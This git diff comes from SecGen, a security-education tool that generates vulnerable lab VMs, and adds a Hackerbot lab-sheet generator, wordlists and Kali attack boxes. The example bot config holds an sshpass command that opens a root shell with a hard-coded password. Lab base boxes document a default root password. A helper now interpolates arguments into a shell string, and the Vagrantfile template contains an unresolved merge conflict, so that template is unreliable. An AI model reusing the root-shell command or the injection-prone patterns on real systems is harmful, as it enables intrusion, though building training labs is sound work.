diff --git a/.gitignore b/.gitignore
index c5d73d095..9cb00bdd0 100644
--- a/.gitignore
+++ b/.gitignore
@@ -3,4 +3,5 @@ unusedcode
.DS_Store
.idea
mount
-log
\ No newline at end of file
+log
+.directory
diff --git a/Gemfile b/Gemfile
index 1bee751f1..7430e44e7 100644
--- a/Gemfile
+++ b/Gemfile
@@ -14,6 +14,9 @@ gem 'sshkey'
gem 'zipruby'
gem 'credy'
gem 'pg'
+gem 'cinch'
+gem 'nori'
+gem 'programr', :git => "git://github.com/robertjwhitney/programr.git"
#development only gems go here
group :test, :development do
diff --git a/Gemfile.lock b/Gemfile.lock
index a2fcd8c9f..5b6393103 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -1,3 +1,9 @@
+GIT
+ remote: git://github.com/robertjwhitney/programr.git
+ revision: f6e821f494983f6fdcca62e31e458a1e85f25400
+ specs:
+ programr (0.0.1)
+
GEM
remote: https://rubygems.org/
specs:
@@ -5,6 +11,7 @@ GEM
chunky_png (1.3.8)
credy (0.2.1)
thor (~> 0.19.1)
+ cinch (2.3.3)
facter (2.4.6)
CFPropertyList (~> 2.2.6)
faker (1.6.6)
@@ -36,6 +43,7 @@ GEM
mini_portile2 (~> 2.1.0)
pkg-config (~> 1.1.7)
pg (0.21.0)
+ nori (2.6.0)
pkg-config (1.1.7)
puppet (4.5.1)
CFPropertyList (~> 2.2.6)
@@ -70,6 +78,7 @@ PLATFORMS
DEPENDENCIES
credy
+ cinch
faker
forgery
librarian-puppet
@@ -77,6 +86,8 @@ DEPENDENCIES
minitest
nokogiri
pg
+ nori
+ programr!
puppet
rake
rdoc
diff --git a/README.md b/README.md
index 3a8f1e400..f97a58271 100644
--- a/README.md
+++ b/README.md
@@ -3,9 +3,10 @@
## Summary
SecGen creates vulnerable virtual machines so students can learn security penetration testing techniques.
-Boxes like Metasploitable2 are always the same, this project uses Vagrant, Puppet, and Ruby to quickly create randomly vulnerable virtual machines that can be used for learning or for hosting CTF events.
+Boxes like Metasploitable2 are always the same, this project uses Vagrant, Puppet, and Ruby to create randomly vulnerable virtual machines that can be used for learning or for hosting CTF events.
+
+[The latest version is available at: http://github.com/cliffe/SecGen/](http://github.com/cliffe/SecGen/)
-[The latest version is available at: http://github.com/cliffe/SecGen/](http://github.com/cliffe/SecGen/)
## Introduction
Computer security students benefit from engaging in hacking challenges. Practical lab work and pre-configured hacking challenges are common practice both in security education and also as a pastime for security-minded individuals. Competitive hacking challenges, such as capture the flag (CTF) competitions have become a mainstay at industry conferences and are the focus of large online communities. Virtual machines (VMs) provide an effective way of sharing targets for hacking, and can be designed in order to test the skills of the attacker. Websites such as Vulnhub host pre-configured hacking challenge VMs and are a valuable resource for those learning and advancing their skills in computer security. However, developing these hacking challenges is time consuming, and once created, essentially static. That is, once the challenge has been "solved" there is no remaining challenge for the student, and if the challenge is created for a competition or assessment, the challenge cannot be reused without risking plagiarism, and collusion.
@@ -22,31 +23,37 @@ SecGen contains modules, which install various software packages. Each SecGen mo
SecGen is developed and tested on Ubuntu Linux. In theory, SecGen should run on Mac or Windows, if you have all the required software installed.
You will need to install the following:
-- Ruby (development): https://www.ruby-lang.org/en/
+- Ruby (development): https://www.ruby-lang.org/en/
- Vagrant: http://www.vagrantup.com/
- Virtual Box: https://www.virtualbox.org/
- Puppet: http://puppet.com/
-- Packer: https://www.packer.io/downloads.html
+- Packer: https://www.packer.io/
- ImageMagick: https://www.imagemagick.org/
- And the required Ruby Gems (including Nokogiri and Librarian-puppet)
### On Ubuntu these commands will get you up and running
Install all the required packages:
```bash
-sudo apt-get install ruby-dev zlib1g-dev liblzma-dev build-essential patch virtualbox ruby-bundler vagrant imagemagick libmagickwand-dev exiftool libpq-dev
+# install a recent version of vagrant
+wget https://releases.hashicorp.com/vagrant/1.9.8/vagrant_1.9.8_x86_64.deb
+sudo apt install ./vagrant_1.9.8_x86_64.deb
+# install other required packages via repos
+sudo apt-get install ruby-dev zlib1g-dev liblzma-dev build-essential patch virtualbox ruby-bundler imagemagick libmagickwand-dev exiftool libpq-dev
```
-Copy SecGen to a directory of your choosing, such as */home/user/bin/SecGen*, then:
+Copy SecGen to a directory of your choosing, such as */home/user/bin/SecGen*
+
+Then install gems:
```bash
cd /home/user/bin/SecGen
bundle install
```
-## Optional software requirements
-### EWF image creation
-To generate forensic images in the EWF image format FTK Imager command line is required.
-Download link for FTK Imager command line: http://accessdata.com/product-download/
-Note: The FTK Imager executable needs to be added to the PATH environment variable.
+### Optional software requirements
+To save yourself some time you can enable caching of downloaded packages. Simply install vagrant-cachier:
+```bash
+vagrant plugin install vagrant-cachier
+```
## Usage
Basic usage:
diff --git a/lib/helpers/gem_exec.rb b/lib/helpers/gem_exec.rb
index f5b021802..9a98f3c32 100644
--- a/lib/helpers/gem_exec.rb
+++ b/lib/helpers/gem_exec.rb
@@ -8,8 +8,8 @@ class GemExec
# @param [Object] gem_name -- such as 'vagrant', 'puppet', 'librarian-puppet'
# @param [Object] working_dir -- the location for output
# @param [Object] argument -- the command to send 'init', 'install'
- def self.exe(gem_name, working_dir, argument)
- Print.std "Loading #{gem_name} (#{argument}) in #{working_dir}"
+ def self.exe(gem_name, working_dir, arguments)
+ Print.std "Loading #{gem_name} (#{arguments}) in #{working_dir}"
version = '>= 0'
begin
@@ -37,7 +37,7 @@ class GemExec
Dir.chdir(working_dir)
- system gem_path, argument
+ system "#{gem_path} #{arguments}"
end
end
diff --git a/lib/objects/local_hackerbot_config_generator.rb b/lib/objects/local_hackerbot_config_generator.rb
new file mode 100644
index 000000000..62d170aaa
--- /dev/null
+++ b/lib/objects/local_hackerbot_config_generator.rb
@@ -0,0 +1,114 @@
+#!/usr/bin/ruby
+require_relative 'local_string_generator.rb'
+require 'erb'
+require 'fileutils'
+require 'redcarpet'
+require 'nokogiri'
+
+class HackerbotConfigGenerator < StringGenerator
+ attr_accessor :accounts
+ attr_accessor :flags
+ attr_accessor :root_password
+ attr_accessor :html_rendered
+ attr_accessor :html_TOC_rendered
+ attr_accessor :title
+
+ attr_accessor :local_dir
+ attr_accessor :templates_path
+ attr_accessor :config_template_path
+ attr_accessor :html_template_path
+
+ def initialize
+ super
+ self.module_name = 'Hackerbot Config Generator'
+ self.title = ''
+ self.accounts = []
+ self.flags = []
+ self.root_password = ''
+ self.html_rendered = ''
+ self.html_TOC_rendered = ''
+
+ self.local_dir = File.expand_path('../../', __FILE__)
+ self.templates_path = "#{self.local_dir}/templates/"
+ self.config_template_path = "#{self.local_dir}/templates/integrity_lab.xml.erb"
+ self.html_template_path = "#{self.local_dir}/templates/labsheet.html.erb"
+
+ end
+
+ def get_options_array
+ super + [['--root_password', GetoptLong::REQUIRED_ARGUMENT],
+ ['--accounts', GetoptLong::REQUIRED_ARGUMENT],
+ ['--flags', GetoptLong::REQUIRED_ARGUMENT]]
+ end
+
+ def process_options(opt, arg)
+ super
+ case opt
+ when '--root_password'
+ self.root_password << arg;
+ when '--accounts'
+ self.accounts << arg;
+ when '--flags'
+ self.flags << arg;
+ end
+ end
+
+ def generate_lab_sheet(xml_config)
+ lab_sheet = ''
+ begin
+ doc = Nokogiri::XML(xml_config)
+ rescue
+ Print.err "Failed to process hackerbot config"
+ exit
+ end
+ # remove xml namespaces for ease of processing
+ doc.remove_namespaces!
+ # for each element in the vulnerability
+ hackerbot = doc.xpath("/hackerbot")
+ name = hackerbot.xpath("name").first.content
+ lab_sheet += hackerbot.xpath("tutorial_info/tutorial").first.content + "\n"
+
+ doc.xpath("//attack").each_with_index do |attack, index|
+ attack.xpath("tutorial").each do |tutorial_snippet|
+ lab_sheet += tutorial_snippet.content + "\n"
+ end
+
+ lab_sheet += "#### #{name} Attack ##{index + 1}\n"
+ lab_sheet += "Use what you have learned to complete the bot's challenge. You can skip the bot to here, by saying '**goto #{index + 1}**'\n\n"
+ lab_sheet += "> #{name}: \"#{attack.xpath('prompt').first.content}\" \n\n"
+ lab_sheet += "Do any necessary preparation, then when you are ready for the bot to complete the action/attack, ==say 'ready'==\n\n"
+ if attack.xpath("quiz").size > 0
+ lab_sheet += "There is a quiz to complete. Once Hackerbot asks you the question you can =='answer *YOURANSWER*'==\n\n"
+ end
+ lab_sheet += "Don't forget to ==save and submit any flags!==\n\n"
+ end
+ lab_sheet += hackerbot.xpath("tutorial_info/footer").first.content + "\n"
+
+ lab_sheet
+ end
+
+ def generate
+
+ # Print.debug self.accounts.to_s
+ xml_template_out = ERB.new(File.read(self.config_template_path), 0, '<>-')
+ xml_config = xml_template_out.result(self.get_binding)
+
+ lab_sheet_markdown = generate_lab_sheet(xml_config)
+
+ redcarpet = Redcarpet::Markdown.new(Redcarpet::Render::HTML.new(prettify:true, hard_wrap: true, with_toc_data: true), footnotes: true, fenced_code_blocks: true, no_intra_emphasis: true, autolink: true, highlight: true, lax_spacing: true)
+ self.html_rendered = redcarpet.render(lab_sheet_markdown).force_encoding('UTF-8')
+ redcarpet_toc = Redcarpet::Markdown.new(Redcarpet::Render::HTML_TOC.new())
+ self.html_TOC_rendered = redcarpet_toc.render(lab_sheet_markdown).force_encoding('UTF-8')
+ html_template_out = ERB.new(File.read(self.html_template_path), 0, '<>-')
+ html_out = html_template_out.result(self.get_binding)
+
+ json = {'xml_config' => xml_config.force_encoding('UTF-8'), 'html_lab_sheet' => html_out.force_encoding('UTF-8')}.to_json.force_encoding('UTF-8')
+ self.outputs << json.to_s
+ end
+
+ # Returns binding for erb files (access to variables in this classes scope)
+ # @return binding
+ def get_binding
+ binding
+ end
+end
diff --git a/lib/objects/local_string_encoder.rb b/lib/objects/local_string_encoder.rb
index 279884816..ed942e643 100644
--- a/lib/objects/local_string_encoder.rb
+++ b/lib/objects/local_string_encoder.rb
@@ -104,7 +104,17 @@ class StringEncoder
Print.local_verbose "Encoding '#{encoding_print_string}'"
encode_all
- Print.local_verbose "Encoded: #{self.outputs.to_s}"
+
+ # print the first 700 chars to screen
+ output = self.outputs.to_s
+ length = output.length
+ if length < 1000
+ Print.local_verbose "Encoded: #{output}..."
+ else
+ Print.local_verbose "Encoded: #{output.to_s[0..1000]}..."
+ Print.local_verbose "(Displaying 1000/#{length} length output)"
+ end
+
puts has_base64_inputs ? base64_encode_outputs : self.outputs
end
diff --git a/lib/objects/local_string_generator.rb b/lib/objects/local_string_generator.rb
index 559a39509..554299ef9 100644
--- a/lib/objects/local_string_generator.rb
+++ b/lib/objects/local_string_generator.rb
@@ -87,7 +87,17 @@ class StringGenerator
Print.local_verbose "Generating..."
generate
- Print.local_verbose "Generated: #{self.outputs.to_s}"
+
+ # print the first 1000 chars to screen
+ output = self.outputs.to_s
+ length = output.length
+ if length < 1000
+ Print.local_verbose "Generated: #{output}..."
+ else
+ Print.local_verbose "Generated: #{output.to_s[0..1000]}..."
+ Print.local_verbose "(Displaying 1000/#{length} length output)"
+ end
+
puts has_base64_inputs ? base64_encode_outputs : self.outputs
end
diff --git a/lib/objects/system.rb b/lib/objects/system.rb
index 14f44fccd..2686e23ed 100644
--- a/lib/objects/system.rb
+++ b/lib/objects/system.rb
@@ -249,7 +249,9 @@ class System
end
end
# execute calculation script and format output to an array of Base64 strings
- outputs = `ruby #{selected.local_calc_file} #{args_string}`.chomp
+ command = "ruby #{selected.local_calc_file} #{args_string}"
+ Print.verbose "Running: #{command}"
+ outputs = `#{command}`.chomp
output_array = outputs.split("\n")
selected.output = output_array.map { |o| Base64.strict_decode64 o }
end
diff --git a/lib/output/project_files_creator.rb b/lib/output/project_files_creator.rb
index 7e336f905..acde9cab4 100644
--- a/lib/output/project_files_creator.rb
+++ b/lib/output/project_files_creator.rb
@@ -34,11 +34,26 @@ class ProjectFilesCreator
# Generate all relevant files for the project
def write_files
+ # when writing to a project that already contains a project, move everything out the way,
+ # and keep the Vagrant config, so that existing VMs can be re-provisioned/updated
+ if File.exists? "#{@out_dir}/Vagrantfile" or File.exists? "#{@out_dir}/puppet"
+ dest_dir = "#{@out_dir}/MOVED_#{Time.new.strftime("%Y%m%d_%H%M")}"
+ Print.warn "Project already built to this directory -- moving last build to: #{dest_dir}"
+ Dir.glob( "#{@out_dir}/**/*" ).select { |f| File.file?( f ) }.each do |f|
+ dest = "#{dest_dir}/#{f}"
+ FileUtils.mkdir_p( File.dirname( dest ) )
+ if f =~ /\.vagrant/
+ FileUtils.cp( f, dest )
+ else
+ FileUtils.mv( f, dest )
+ end
+ end
+ end
+
FileUtils.mkpath "#{@out_dir}" unless File.exists?("#{@out_dir}")
FileUtils.mkpath "#{@out_dir}/puppet/" unless File.exists?("#{@out_dir}/puppet/")
FileUtils.mkpath "#{@out_dir}/environments/production/" unless File.exists?("#{@out_dir}/environments/production/")
- threads = []
# for each system, create a puppet modules directory using librarian-puppet
@systems.each do |system|
@currently_processing_system = system # for template access
@@ -108,11 +123,11 @@ class ProjectFilesCreator
end
# Create the marker xml file
- x2file = "#{@out_dir}/marker.xml"
+ x2file = "#{@out_dir}/flag_hints.xml"
xml_marker_generator = XmlMarkerGenerator.new(@systems, @scenario, @time)
xml = xml_marker_generator.output
- Print.std "Creating marker file: #{x2file}"
+ Print.std "Creating flags and hints file: #{x2file}"
begin
File.open(x2file, 'w+') do |file|
file.write(xml)
@@ -121,6 +136,7 @@ class ProjectFilesCreator
Print.err "Error writing file: #{e.message}"
exit
end
+ Print.std "VM(s) can be built using 'vagrant up' in #{@out_dir}"
end
@@ -130,12 +146,12 @@ class ProjectFilesCreator
template_out = ERB.new(File.read(template), 0, '<>-')
begin
- File.open(filename, 'w+') do |file|
+ File.open(filename, 'wb+') do |file|
file.write(template_out.result(self.get_binding))
end
rescue StandardError => e
Print.err "Error writing file: #{e.message}"
- exit
+ Print.err e.backtrace.inspect
end
end
diff --git a/lib/resources/wordlists/mythical_creatures b/lib/resources/wordlists/mythical_creatures
new file mode 100644
index 000000000..812e9f174
--- /dev/null
+++ b/lib/resources/wordlists/mythical_creatures
@@ -0,0 +1,336 @@
+dropbear
+abaia
+abath
+adze
+aethoneagle
+afanc
+ahool
+akkorokamui
+ala
+alectryon
+alkonost
+allocamelus
+amalthea
+ammut
+anansi
+anemoi
+angel
+arachne
+ariel
+aries
+arion
+automaton
+azeban
+baku
+balrog
+barefrontedhoodwink
+basilisk
+bast
+behemoth
+bennu
+berserker
+bigfoot
+bugbear
+bunyip
+buraq
+caladrius
+callisto
+camazotz
+capricornus
+centaur
+cetan
+chamrosh
+chimera
+chiron
+cinnamonbird
+cipactli
+devil
+devilbird
+djinn
+dragon
+drake
+dwarf
+echidna
+elf
+emela-ntouka
+encantado
+ent
+familiar
+faun
+fionnuala
+firebird
+gandaberunda
+gargoyle
+gef
+giant
+giantpenguin
+gilledantelope
+goblin
+grootslang
+gunni
+haizum
+harpy
+heqet
+hibagon
+hobbit
+horus
+huitzilopochtli
+huorn
+hydra
+ichneumon
+ichthyocentaurs
+inugami
+ipotane
+isonade
+kamaitachi
+karkadann
+kasairex
+khepri
+khnum
+kongamato
+kraken
+kujata
+kun
+kurma
+lamia
+lavellan
+lindorm
+longma
+makara
+mapinguari
+mermaid
+merman
+minokawa
+minotaur
+mothman
+mujina
+naga
+namazu
+nandibear
+nandibull
+nekomata
+ngoubou
+ningyo
+nuckelavee
+nue
+olitiau
+onocentaur
+oozlumbird
+orc
+ouroboros
+owlman
+pabilsag
+panther
+peluda
+peryton
+phantomkangaroo
+pooka
+python
+qareen
+qilin
+qiqirn
+qliphoth
+quinotaur
+ra
+rabisu
+radande
+ragana
+rakshasa
+redcap
+reichsadler
+rephaite
+revenant
+riva
+rokurokubi
+rompo
+rougarou
+rusalka
+saci
+sacipererê
+sagari
+sakabashira
+samebito
+samodiva
+sampaati
+sandman
+sandwalker
+santelmo
+sânziană
+sarngika
+sarugami
+satori
+satyrus
+sceadugenga
+scitalis
+scylla
+sekhmet
+seko
+selket
+seps
+serpent
+serpopard
+shabti
+shachihoko
+shade
+shedim
+shellycoat
+shenlong
+shibaten
+shikigami
+shikome
+shinigami
+shirouneri
+shisa
+shishi
+shtriga
+shunoban
+sigbin
+sileni
+simargl
+singa
+sirrush
+sisiutl
+skookum
+skrzak
+skvader
+slenderman
+sluagh
+sobek
+soragami
+soucouyant
+spearfinger
+spectre
+spiriduş
+spriggan
+sprite
+squonk
+strigoi
+struthopodes
+strzyga
+suangi
+succubus
+sudice
+sunekosuri
+surma
+suzaku
+sylvan
+syrbotae
+tachash
+taimatsumaru
+takam
+tangie
+tantankororin
+tanuki
+taotie
+tapairu
+tartalo
+tartaruchi
+tatsu
+taurokampoi
+tavara
+taweret
+tecumbalam
+tennin
+tepegoz
+theriocephalus
+thoth
+tiangou
+tianlong
+tibicena
+tigmamanukan
+tigris
+tikoloshe
+timingila
+tipua
+titan
+tiyanak
+tizheruk
+tlahuelpuchi
+tokeloshe
+tomte
+topielec
+toyol
+trasgo
+trauco
+trenti
+tripurasura
+tritons
+trow
+tsuchigumo
+turehu
+turul
+typhon
+ubume
+uchchaihshravas
+undead
+undine
+unhcegila
+unktehi
+unktehila
+upinis
+urayuli
+urmahlullu
+ushioni
+utukku
+uwan
+valkyrie
+valravn
+varaha
+vedrfolnir
+veļi
+veo
+vetala
+vielfras
+vila
+vilkacis
+vodyanoy
+vrykolakas
+vulkodlak
+waldgeist
+wani
+wekufe
+wendigo
+werecat
+whitestag
+wirrycow
+wolpertinger
+wondjina
+wraith
+wulver
+wyrm
+xana
+xelhua
+yacumama
+yacuruna
+yaksha
+yakshi
+yakshini
+yale
+yali
+yallerybrown
+yalungur
+yanari
+yaoguai
+yatagarasu
+yeren
+yethhound
+yobuko
+yong
+yosuzume
+ypotryll
+yukinko
+yuxa
+zahhak
+zamzummim
+zaratan
+zburator
+zeus
+zhulong
+zin
+zlatorog
+zmeu
+zmiy
+zombie
+zorigami
+zu
+zuijin
\ No newline at end of file
diff --git a/lib/schemas/base_metadata_schema.xsd b/lib/schemas/base_metadata_schema.xsd
index fc6f858ff..96d8df4fb 100644
--- a/lib/schemas/base_metadata_schema.xsd
+++ b/lib/schemas/base_metadata_schema.xsd
@@ -41,6 +41,7 @@
+
diff --git a/lib/schemas/generator_metadata_schema.xsd b/lib/schemas/generator_metadata_schema.xsd
index 2e546e8c1..31f29617d 100644
--- a/lib/schemas/generator_metadata_schema.xsd
+++ b/lib/schemas/generator_metadata_schema.xsd
@@ -23,6 +23,7 @@
+
diff --git a/lib/schemas/utility_metadata_schema.xsd b/lib/schemas/utility_metadata_schema.xsd
index d454c627b..4f1b067c3 100644
--- a/lib/schemas/utility_metadata_schema.xsd
+++ b/lib/schemas/utility_metadata_schema.xsd
@@ -23,6 +23,7 @@
+
diff --git a/lib/templates/Vagrantfile.erb b/lib/templates/Vagrantfile.erb
index 87191b104..e53dd7a67 100644
--- a/lib/templates/Vagrantfile.erb
+++ b/lib/templates/Vagrantfile.erb
@@ -5,8 +5,10 @@
# <%= @time %>
# Based on <%= @scenario %>
<% require 'json'
- require 'base64' -%>
+ require 'base64'
+ require 'securerandom' -%>
<% prefix = @options[:prefix] ? @options[:prefix] + '_' : ''-%>
+
VAGRANTFILE_API_VERSION = "2"
Vagrant.configure(VAGRANTFILE_API_VERSION) do |config|
@@ -90,6 +92,14 @@ Vagrant.configure(VAGRANTFILE_API_VERSION) do |config|
end -%>
end
<% end %>
+
+ # Optimise package caching (re-use downloaded .deb, ruby gems, etc)
+# if Vagrant.has_plugin?("vagrant-cachier")
+ # Configure cached packages to be shared between instances of the same base box.
+ # More info on http://fgrehm.viewdocs.io/vagrant-cachier/usage
+# config.cache.scope = :box
+# end
+
# SecGen datastore
# <%= JSON.generate($datastore) %>
@@ -115,11 +125,15 @@ Vagrant.configure(VAGRANTFILE_API_VERSION) do |config|
<% end %>
<% when 'network' -%>
<% if selected_module.attributes['range'].first.nil? || selected_module.attributes['range'].first == "dhcp" -%>
+<<<<<<< HEAD
<% if (@options.has_key? :ovirtnetwork) && (@options.has_key? :ovirtuser) && (@options.has_key? :ovirtpass) %>
<%= system.name %>.vm.network :<%= selected_module.attributes['type'].first %>, type: "dhcp", :ovirt__network_name => '<%= "#{@options[:ovirtnetwork]}" %>'
<% else %>
<%= system.name %>.vm.network :<%= selected_module.attributes['type'].first %>, type: "dhcp"
<% end %>
+=======
+ <%= system.name %>.vm.network :<%= selected_module.attributes['type'].first %>, type: "dhcp", auto_config: false
+>>>>>>> IRI_labs
<% else -%>
<% if (@options.has_key? :ovirtuser) && (@options.has_key? :ovirtpass) %>
<%= system.name %>.vm.network :<%= selected_module.attributes['type'].first %>, :ovirt__ip => "<%= resolve_network(selected_module.attributes['range'].first)%>", :ovirt__network_name => '<%= "#{@options[:ovirtnetwork]}" %>'
@@ -132,9 +146,18 @@ Vagrant.configure(VAGRANTFILE_API_VERSION) do |config|
<%= system.name %>.vm.provision "puppet" do | <%=module_name%> |
<% # if there are facter variables to define
if selected_module.received_inputs != {} -%>
- <% json_inputs = JSON.generate(selected_module.received_inputs) -%>
+ <% json_inputs = JSON.generate(selected_module.received_inputs)
+ b64_json_inputs = Base64.strict_encode64(json_inputs)
+ # save the inputs in a randomly named file in the
+ # project out directory of the secgen_functions module
+ rand = SecureRandom.hex().to_s
+ dir = "#{@out_dir}/puppet/#{system.name}/modules/secgen_functions/files/json_inputs"
+ FileUtils.mkdir_p(dir) unless File.exists?(dir)
+ Print.verbose "Writing #{selected_module.module_path_name} input to: #{dir}/#{rand}"
+ File.write("#{dir}/#{rand}", b64_json_inputs)
+ -%>
<%= module_name%>.facter = {
- "base64_inputs" => '<%= Base64.strict_encode64(json_inputs)%>'
+ "base64_inputs_file" => '<%= rand %>',
}
<% end -%>
<%=module_name%>.module_path = "<%="puppet/#{system.name}/modules"%>"
diff --git a/modules/bases/debian_puppet_32/secgen_metadata.xml b/modules/bases/debian_puppet_32/secgen_metadata.xml
index 4eab05603..81577c7ef 100644
--- a/modules/bases/debian_puppet_32/secgen_metadata.xml
+++ b/modules/bases/debian_puppet_32/secgen_metadata.xml
@@ -3,11 +3,11 @@
- Debian 32bit with Puppet
+ Debian 7 Wheezy ServerZ. Cliffe SchreudersGPLv3Based on the Official Puppet Vagrant box. Debian 7.8 (wheezy) 32-bit (i386), Puppet 4.3.2 / Puppet Enterprise 2015.3.2 (agent).
- This is the primary base box used during development.
+ This is the primary base box used during development. For testing purposes, the default root password is puppet.
32-bitservercli
@@ -15,11 +15,10 @@
linuxunixDebian 7.8 (wheezy) 32-bit (i386)
- http://atlas.hashicorp.com/puppetlabs/boxes/debian-7.8-32-puppet/versions/1.0.4/providers/virtualbox.box
+ https://app.vagrantup.com/secgen/boxes/debian_wheezy_puppet/versions/1.0.0/providers/virtualbox.boxhttps://atlas.hashicorp.com/puppetlabsvariousdebian_server
-
-
\ No newline at end of file
+
diff --git a/modules/bases/debian_wheezy_desktop_kde/secgen_metadata.xml b/modules/bases/debian_wheezy_desktop_kde/secgen_metadata.xml
new file mode 100644
index 000000000..dceef8f26
--- /dev/null
+++ b/modules/bases/debian_wheezy_desktop_kde/secgen_metadata.xml
@@ -0,0 +1,23 @@
+
+
+
+ Debian 7 Wheezy Desktop KDE
+ Z. Cliffe Schreuders
+ GPLv3
+ Based on the Official Puppet Vagrant box. Debian 7.8 (wheezy) 32-bit (i386), Puppet 4.3.2 / Puppet Enterprise 2015.3.2 (agent).
+ Plus KDE and some useful tools.
+ For testing purposes, the default root password is puppet.
+ 32-bit
+ desktop
+
+ linux
+ unix
+ Debian 7.8 (wheezy) 32-bit (i386)
+ https://app.vagrantup.com/secgen/boxes/debian_wheezy_kde_puppet/versions/1.0.0/providers/virtualbox.box
+
+ https://atlas.hashicorp.com/puppetlabs
+ various
+
+
diff --git a/modules/bases/kali_light/secgen_metadata.xml b/modules/bases/kali_light/secgen_metadata.xml
new file mode 100644
index 000000000..e08873fbe
--- /dev/null
+++ b/modules/bases/kali_light/secgen_metadata.xml
@@ -0,0 +1,22 @@
+
+
+
+ Kali Light, XFCE and Puppet
+ Z. Cliffe Schreuders
+ GPLv3
+ Kali Light 2017.1 XFCE minimal install, with puppet.
+ 64-bit
+ attack
+ desktop
+
+ linux
+ unix
+ Kali Linux 2017.1
+ https://app.vagrantup.com/cliffe/boxes/kali-light/versions/1.0.0/providers/virtualbox.box
+
+ https://app.vagrantup.com/cliffe
+ various
+
+
diff --git a/modules/bases/kali_light_msf/secgen_metadata.xml b/modules/bases/kali_light_msf/secgen_metadata.xml
new file mode 100644
index 000000000..8abcd48d2
--- /dev/null
+++ b/modules/bases/kali_light_msf/secgen_metadata.xml
@@ -0,0 +1,22 @@
+
+
+
+ Kali Light, MSF, XFCE and Puppet
+ Z. Cliffe Schreuders
+ GPLv3
+ Kali Light 2017.1 XFCE minimal install, with metasploit framework and puppet.
+ 64-bit
+ attack
+ desktop
+
+ linux
+ unix
+ Kali Linux 2017.1
+ https://app.vagrantup.com/secgen/boxes/kali_lite_msf_puppet/versions/1.0.1/providers/virtualbox.box
+
+ https://app.vagrantup.com/cliffe
+ various
+
+
diff --git a/modules/build/puppet/secgen_functions/functions/get_parameters.pp b/modules/build/puppet/secgen_functions/functions/get_parameters.pp
new file mode 100644
index 000000000..87cdffb83
--- /dev/null
+++ b/modules/build/puppet/secgen_functions/functions/get_parameters.pp
@@ -0,0 +1,6 @@
+function secgen_functions::get_parameters($base64_inputs_file) {
+ $b64_inputs = file("secgen_functions/json_inputs/$base64_inputs_file")
+ $json_inputs = base64('decode', $b64_inputs)
+ $secgen_parameters = parsejson($json_inputs)
+ $secgen_parameters
+}
diff --git a/modules/build/puppet/secgen_functions/manifests/leak_file.pp b/modules/build/puppet/secgen_functions/manifests/leak_file.pp
index 082d36a87..eab10081b 100644
--- a/modules/build/puppet/secgen_functions/manifests/leak_file.pp
+++ b/modules/build/puppet/secgen_functions/manifests/leak_file.pp
@@ -1,6 +1,16 @@
define secgen_functions::leak_file($leaked_filename, $storage_directory, $strings_to_leak, $owner = 'root', $group = 'root', $mode = '0660', $leaked_from = '' ) {
if ($leaked_filename != ''){
$path_to_leak = "$storage_directory/$leaked_filename"
+ # notice("path_to_leak = $path_to_leak")
+ # notice("storage_directory = $storage_directory")
+ # notice("strings_to_leak = $strings_to_leak")
+
+ # create the directory tree, incase the file name has extra layers of directories
+ exec { "$leaked_from-$path_to_leak":
+ path => ['/bin', '/usr/bin', '/usr/local/bin', '/sbin', '/usr/sbin'],
+ command => "mkdir -p `dirname $path_to_leak`;chown $owner. `dirname $path_to_leak`",
+ provider => shell,
+ }
# If the file already exists append to it, otherwise create it.
if (defined(File[$path_to_leak])){
diff --git a/modules/build/puppet/secgen_functions/secgen_metadata.xml b/modules/build/puppet/secgen_functions/secgen_metadata.xml
index 9f3111b16..1095396e6 100644
--- a/modules/build/puppet/secgen_functions/secgen_metadata.xml
+++ b/modules/build/puppet/secgen_functions/secgen_metadata.xml
@@ -6,7 +6,7 @@
SecGen Puppet FunctionsThomas ShawMIT
- SecGen functions module encapuslates commonly used functions within secgen (e.g. leaking files,
+ SecGen functions module encapsulates commonly used functions within secgen (e.g. leaking files,
overshare, flags etc.) into puppet resource statements.
diff --git a/modules/build/unix/cleanup/manifests/init.pp b/modules/build/unix/cleanup/manifests/init.pp
index 3e447e37f..88db45efd 100644
--- a/modules/build/unix/cleanup/manifests/init.pp
+++ b/modules/build/unix/cleanup/manifests/init.pp
@@ -1,6 +1,5 @@
class cleanup::init {
- $json_inputs = base64('decode', $::base64_inputs)
- $secgen_params = parsejson($json_inputs)
+ $secgen_params = secgen_functions::get_parameters($::base64_inputs_file)
$remove_history = str2bool($secgen_params['remove_history'][0])
$root_password = $secgen_params['root_password'][0]
$clobber_file_times = str2bool($secgen_params['clobber_file_times'][0])
diff --git a/modules/generators/random/random_word/secgen_local/local.rb b/modules/generators/random/random_word/secgen_local/local.rb
index 0df071fe8..f9510f298 100644
--- a/modules/generators/random/random_word/secgen_local/local.rb
+++ b/modules/generators/random/random_word/secgen_local/local.rb
@@ -2,13 +2,28 @@
require_relative '../../../../../lib/objects/local_string_generator.rb'
class WordGenerator < StringGenerator
+ attr_accessor :wordlist
+
def initialize
super
+ self.wordlist = []
self.module_name = 'Random Word Generator'
end
+ def get_options_array
+ super + [['--wordlist', GetoptLong::OPTIONAL_ARGUMENT]]
+ end
+
+ def process_options(opt, arg)
+ super
+ case opt
+ when '--wordlist'
+ self.wordlist << arg;
+ end
+ end
+
def generate
- self.outputs << File.readlines("#{WORDLISTS_DIR}/wordlist").sample.chomp
+ self.outputs << File.readlines("#{WORDLISTS_DIR}/#{self.wordlist.sample.chomp}").sample.chomp
end
end
diff --git a/modules/generators/random/random_word/secgen_metadata.xml b/modules/generators/random/random_word/secgen_metadata.xml
index ea376cc56..66ab3fee2 100644
--- a/modules/generators/random/random_word/secgen_metadata.xml
+++ b/modules/generators/random/random_word/secgen_metadata.xml
@@ -17,6 +17,11 @@
https://github.com/sophsec/wordlisthttp://wordlist.sourceforge.net/
+ wordlist
+
+ wordlist
+
+
generated_strings
diff --git a/modules/generators/structured_content/hackerbot_config/example_bot/example_bot.pp b/modules/generators/structured_content/hackerbot_config/example_bot/example_bot.pp
new file mode 100644
index 000000000..e69de29bb
diff --git a/modules/generators/structured_content/hackerbot_config/example_bot/files/example_bot.xml b/modules/generators/structured_content/hackerbot_config/example_bot/files/example_bot.xml
new file mode 100644
index 000000000..144f1efd7
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/example_bot/files/example_bot.xml
@@ -0,0 +1,83 @@
+
+
+
+
+ Bob
+
+ config/AIML
+
+
+
+ sshpass -p randompassword ssh -oStrictHostKeyChecking=no root@{{chat_ip_address}} /bin/bash
+
+
+ Hi there. Just to introduce myself, I also work here.
+
+
